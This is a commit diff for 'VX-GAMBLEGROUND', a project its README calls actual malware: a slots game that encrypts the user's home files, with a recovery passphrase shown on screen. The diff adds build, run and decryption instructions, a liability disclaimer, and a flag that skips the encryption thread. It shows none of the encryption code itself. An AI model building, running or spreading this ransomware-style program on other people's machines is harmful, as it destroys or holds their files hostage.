diff options
| -rw-r--r-- | LICENSE | 2 | ||||
| -rw-r--r-- | README.md | 29 | ||||
| -rw-r--r-- | src/VX-GAMBLEGROUND.c | 3 |
3 files changed, 32 insertions, 2 deletions
| @@ -18,4 +18,4 @@ SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. | |||
| 18 | THE CREATOR OF THE SOFTWARE IS IN NO WAY RESPOSIBLE FOR THE ACTIONS OF THOSE WHOM USE | 18 | THE CREATOR OF THE SOFTWARE IS IN NO WAY RESPOSIBLE FOR THE ACTIONS OF THOSE WHOM USE |
| 19 | IT, NOR ARE THEY RESPONSIBLE FOR ANY DAMMAGE TO SYSTEMS THAT MAY ARISE FROM THE USE | 19 | IT, NOR ARE THEY RESPONSIBLE FOR ANY DAMMAGE TO SYSTEMS THAT MAY ARISE FROM THE USE |
| 20 | OF THIS SOFTWARE. PERSONS USING THIS SOFTWARE UNDERSTAND THAT BY RUNNING THIS SOFTWARE, | 20 | OF THIS SOFTWARE. PERSONS USING THIS SOFTWARE UNDERSTAND THAT BY RUNNING THIS SOFTWARE, |
| 21 | THEY ACCEPT FULL RESPONSIBILITY FOR ANY DAMAGE THEY CAUSE. \ No newline at end of file | 21 | THEY ACCEPT FULL RESPONSIBILITY FOR ANY DAMAGE THEY CAUSE. |
| @@ -8,12 +8,13 @@ This "malware" is more "funware". It's not intended to cause actual damage to yo | |||
| 8 | 8 | ||
| 9 | ## WARNING: THIS IS ACTUAL MALWARE | 9 | ## WARNING: THIS IS ACTUAL MALWARE |
| 10 | 10 | ||
| 11 | VX-GAMBLEGROUND, while not particularly sophisticated compared to the likes of Stuxnet, IS still malware. It can, and will, encrypt all of your (home) files if you run it! | 11 | VX-GAMBLEGROUND, while not particularly sophisticated compared to the likes of Stuxnet, IS still malware. It can, and will, encrypt all of your (home) files if you run it. By downloading and running this software, you understand this, and can't hold me liable for your dumb decisions. Read the license |
| 12 | 12 | ||
| 13 | ### DEPENDENCIES | 13 | ### DEPENDENCIES |
| 14 | 14 | ||
| 15 | - libsodium | 15 | - libsodium |
| 16 | - ncurses | 16 | - ncurses |
| 17 | - gnome-terminal | ||
| 17 | 18 | ||
| 18 | ### BUILDING | 19 | ### BUILDING |
| 19 | 20 | ||
| @@ -27,3 +28,29 @@ cd VX_GAMBLEGROUND && cd src | |||
| 27 | make | 28 | make |
| 28 | make | 29 | make |
| 29 | ``` | 30 | ``` |
| 31 | |||
| 32 | ### Running | ||
| 33 | |||
| 34 | After building vxgg, run the `runscreen.sh` script: | ||
| 35 | |||
| 36 | ```bash | ||
| 37 | ./runscreen.sh | ||
| 38 | ``` | ||
| 39 | |||
| 40 | ### Recovering your files | ||
| 41 | |||
| 42 | vxgg uses a "passphrase" system to do its encryption. Think of it like a symmetrical key. When the window pops up, there should be a banner at the top of the screen that says `VX-GAMBLEGROUND: .... PASSPHRASE=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX`. Write down this passphrase if you ever want to recover your files, as it's the encryption key. To decrypt your files, run vxgg again with the flags `-d` and `-p PASSPHRASE`: | ||
| 43 | |||
| 44 | ```bash | ||
| 45 | ./VX-GAMBLEGROUND -d -p XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | ||
| 46 | # or | ||
| 47 | ./VX-GAMBLEGROUND -dp XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | ||
| 48 | # or | ||
| 49 | ./VX-GAMBLEGROUND -d --passphrase=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | ||
| 50 | ``` | ||
| 51 | |||
| 52 | Alternatively, edit the `encryption.c` file and add `#define TESTING` at the top of the file. This way, encrypted files will be renamed to `filename.ext_PASSPHRASE.vxgg` instead of just `filename.ext.vxgg` | ||
| 53 | |||
| 54 | ### Roadmap | ||
| 55 | |||
| 56 | I can't be fucked to care about this program anymore. The joke was a little funny at the start, but now it's just annoying. If you want to fuck around with the code and release your own fork, go ahead, I won't stop you, but I'm done with this piece of shit for a very, very long time. | ||
diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c index 7277844..d51c488 100644 --- a/src/VX-GAMBLEGROUND.c +++ b/src/VX-GAMBLEGROUND.c | |||
| @@ -212,8 +212,11 @@ int main(int argc, char *argv[]) { | |||
| 212 | int err; | 212 | int err; |
| 213 | if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success) | 213 | if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success) |
| 214 | error(1, 0, "[VX-GAMBLEGROUND] Could not start slots thread: %d", err); | 214 | error(1, 0, "[VX-GAMBLEGROUND] Could not start slots thread: %d", err); |
| 215 | |||
| 216 | if(!(args.flags & SKIPENC)) { // Skip encryption if someone raised the flag | ||
| 215 | if((err = thrd_create(&filescan, scanundencrypt, (void*)&scanner)) != thrd_success) | 217 | if((err = thrd_create(&filescan, scanundencrypt, (void*)&scanner)) != thrd_success) |
| 216 | error(1, 0, "[VX-GAMBLEGROUND] Could not start filescanner thread: %d", err); | 218 | error(1, 0, "[VX-GAMBLEGROUND] Could not start filescanner thread: %d", err); |
| 219 | } | ||
| 217 | 220 | ||
| 218 | thrd_join(slots, NULL); | 221 | thrd_join(slots, NULL); |
| 219 | thrd_join(filescan, NULL); | 222 | thrd_join(filescan, NULL); |
